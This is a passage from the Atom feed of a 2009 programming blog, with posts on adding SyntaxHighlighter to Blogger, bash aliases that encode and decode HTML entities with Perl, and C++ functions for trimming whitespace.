type=&amp;#39;text/javascript&amp;#39;/&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;#39;http://alexgorbatchev.com/pub/sh/current/scripts/shBrushXml.js&amp;#39; type=&amp;#39;text/javascript&amp;#39;/&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;#39;http://alexgorbatchev.com/pub/sh/current/scripts/shBrushCpp.js&amp;#39; type=&amp;#39;text/javascript&amp;#39;/&amp;gt;&lt;br /&gt;&lt;/pre&gt;See the &lt;a href=&quot;http://alexgorbatchev.com/wiki/SyntaxHighlighter:Brushes&quot; target=&quot;_blank&quot;&gt;full list of supported syntaxes.&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Save your modified template, and upload it to Blogger (again, under Layout &amp;gt; Edit HTML).&lt;/li&gt;&lt;br /&gt;&lt;li&gt;You should now be able to add syntax highlighting to your blog. Wrap your code in a &amp;lt;pre&amp;gt; tag and specify the brush to use in the class attribute. For example, to highlight a block of SQL:&lt;br /&gt;&lt;br /&gt;&amp;lt;pre class=&quot;brush:sql&quot;&gt;&lt;br /&gt;  SELECT *&lt;br /&gt;    FROM users&lt;br /&gt;   WHERE user_id = 1212;&lt;br /&gt;&amp;lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Here&#39;s how that looks when rendered:&lt;br /&gt;&lt;pre class=&quot;brush:sql&quot;&gt;&lt;br /&gt;  SELECT *&lt;br /&gt;    FROM users&lt;br /&gt;   WHERE user_id = 1212;&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;br /&gt;The code you&#39;re formatting should be &lt;a href=&quot;http://mlawire.blogspot.com/2009/07/html-encoder-encode-html-entities.html&quot;&gt;HTML encoded&lt;/a&gt; first. Also note that the Blogger preview won&#39;t show the formatting; you&#39;ll need to either go ahead and publish it or post it to a test blog first.&lt;br /&gt;&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/212257739096729030/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/212257739096729030' title='40 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/212257739096729030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/212257739096729030'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/blogger-syntax-highlighting.html' title='Blogger Syntax Highlighting'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>40</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-577782393823611721</id><published>2009-07-11T17:01:00.000-07:00</published><updated>2009-07-15T02:02:51.908-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Code Highlighting"/><category scheme="http://www.blogger.com/atom/ns#" term="Syntax Highlighting"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Syntax Highlighting with JS and CSS</title><content type='html'>The code syntax highlighting in this blog is being done with &lt;a href=&quot;http://alexgorbatchev.com/wiki/SyntaxHighlighter&quot;&gt;SyntaxHighlighter&lt;/a&gt; by Alex Gorbatchev. See the instructions on &lt;a href=&quot;http://mlawire.blogspot.com/2009/07/blogger-syntax-highlighting.html&quot;&gt;configuring syntax highlighting with Blogger&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/577782393823611721/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/577782393823611721' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/577782393823611721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/577782393823611721'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/syntax-highlighting-with-js-and-css.html' title='Syntax Highlighting with JS and CSS'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-5711624975975475367</id><published>2009-07-11T15:06:00.000-07:00</published><updated>2009-07-30T03:14:00.097-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Encode HTML"/><category scheme="http://www.blogger.com/atom/ns#" term="Encoding HTML"/><category scheme="http://www.blogger.com/atom/ns#" term="Escape HTML"/><category scheme="http://www.blogger.com/atom/ns#" term="Escaping HTML"/><category scheme="http://www.blogger.com/atom/ns#" term="HTML Entities"/><category scheme="http://www.blogger.com/atom/ns#" term="HTML::Entities"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Shell: Aliases for Encoding/Decoding HTML Strings</title><content type='html'>Here are a couple of simple Unix aliases for quickly encoding and decoding HTML strings. I have these defined in my ~/.bash_aliases file.&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;alias htmlencode=&quot;perl -MHTML::Entities -pe &#39;encode_entities(\$_)&#39;&quot;&lt;br /&gt;alias htmldecode=&quot;perl -MHTML::Entities -pe &#39;decode_entities(\$_)&#39;&quot;&lt;br /&gt;&lt;/pre&gt;To encode/escape all unsafe characters in a string with their HTML entities:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;$ echo &quot;This is &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;&quot; | htmlencode&lt;br /&gt;This is &amp;amp;lt;b&amp;amp;gt;bold&amp;amp;lt;/b&amp;amp;gt;&lt;br /&gt;&lt;/pre&gt;And to decode/unescape HTML entities:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;$ echo &quot;This is &amp;amp;lt;b&amp;amp;gt;bold&amp;amp;lt;/b&amp;amp;gt;&quot; | htmldecode&lt;br /&gt;This is &lt;b&gt;bold&lt;/b&gt;&lt;br /&gt;&lt;/pre&gt;These aliases depend on Perl and the HTML::Entities module which are standard on most modern Unixes.&lt;br /&gt;&lt;br /&gt;See also: &lt;a href=&quot;http://mlawire.blogspot.com/2009/07/html-encoder-encode-html-entities.html&quot;&gt;Web-based HTML encoder&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/5711624975975475367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/5711624975975475367' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/5711624975975475367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/5711624975975475367'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/alias-for-quickly-encodingdecoding-html.html' title='Shell: Aliases for Encoding/Decoding HTML Strings'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-5932710928801125854</id><published>2009-07-11T14:28:00.000-07:00</published><updated>2009-07-25T00:19:42.524-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C++"/><category scheme="http://www.blogger.com/atom/ns#" term="Strip Spaces"/><category scheme="http://www.blogger.com/atom/ns#" term="Strip Whitespace"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="Trim Spaces"/><category scheme="http://www.blogger.com/atom/ns#" term="Trim Whitespace"/><title type='text'>C++ Whitespace Trimming Functions</title><content type='html'>Some simple functions for removing leading or trailing whitespace from strings in C++. It uses isspace() and your current locale (by default) to determine what is considered whitespace (e.g., space, tab, newline, etc.) and modifies the strings in-place.&lt;br /&gt;&lt;br /&gt;The header file, btrim.hpp:&lt;br /&gt;&lt;pre class=&quot;brush:cpp&quot;&gt;&lt;br /&gt;#ifndef BTRIM_HPP&lt;br /&gt;#define BTRIM_HPP&lt;br /&gt;&lt;br /&gt;#include &amp;lt;string&amp;gt;&lt;br /&gt;#include &amp;lt;locale&amp;gt;&lt;br /&gt;&lt;br /&gt;/** &lt;br /&gt; * Strip leading whitespace from a string.&lt;br /&gt; *&lt;br /&gt; * @param[in] str Reference to the string to be trimmed. Modified in-place.&lt;br /&gt; * @param[in] loc Locale to use (optional).&lt;br /&gt; * @return        void&lt;br /&gt; */&lt;br /&gt;void ltrim(std::string&amp; str, const std::locale&amp; loc = std::locale());&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Strip trailing whitespace from a string.&lt;br /&gt; *&lt;br /&gt; * @param[in] str Reference to the string to be trimmed. Modified in-place.&lt;br /&gt; * @param[in] loc Locale to use (optional).&lt;br /&gt; * @return        void&lt;br /&gt; */&lt;br /&gt;void rtrim(std::string&amp; str, const std::locale&amp; loc = std::locale());&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Strip both leading and trailing whitespace from a string.&lt;br /&gt; *&lt;br /&gt; * @param[in] str Reference to the string to be trimmed. Modified in-place.&lt;br /&gt; * @param[in] loc Locale to use (optional).&lt;br /&gt; * @return        void&lt;br /&gt; */&lt;br /&gt;void btrim(std::string&amp; str, const std::locale&amp; loc = std::locale());&lt;br /&gt;&lt;br /&gt;#endif // BTRIM_HPP&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The implementation file, btrim.cpp:&lt;br /&gt;&lt;pre class=&quot;brush:cpp&quot;&gt;&lt;br /&gt;#include &quot;btrim.hpp&quot;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;void ltrim(string&amp; str, const locale&amp; loc) {&lt;br /&gt;  string::size_type pos = 0;&lt;br /&gt;  while (pos &lt; str.size() &amp;&amp; isspace(str[pos], loc)) pos++;&lt;br /&gt;  str.erase(0, pos);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void rtrim(string&amp; str, const locale&amp; loc) {&lt;br /&gt;  string::size_type pos = str.size();&lt;br /&gt;  while (pos &gt; 0 &amp;&amp; isspace(str[pos - 1], loc)) pos--;&lt;br /&gt;  str.erase(pos);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void btrim(string&amp; str, const locale&amp; loc) {&lt;br /&gt;  ltrim(str, loc);&lt;br /&gt;  rtrim(str, loc);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Example usage:&lt;br /&gt;&lt;pre class=&quot;brush:cpp&quot;&gt;&lt;br /&gt;// Example use of trim whitespace functions&lt;br /&gt;#include &amp;lt;string&amp;gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;#include &quot;btrim.hpp&quot;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;int main () {&lt;br /&gt;  string s = &quot;   zort   &quot;;&lt;br /&gt;  btrim(s); /* trim spaces, both leading and trailing */&lt;br /&gt;  cout &lt;&lt; &quot;Trimmed string: |&quot; &lt;&lt; s &lt;&lt; &quot;|&quot; &lt;&lt; endl;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/5932710928801125854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/5932710928801125854' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/5932710928801125854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/5932710928801125854'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/c-whitespace-trimming-functions.html' title='C++ Whitespace Trimming Functions'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry></feed>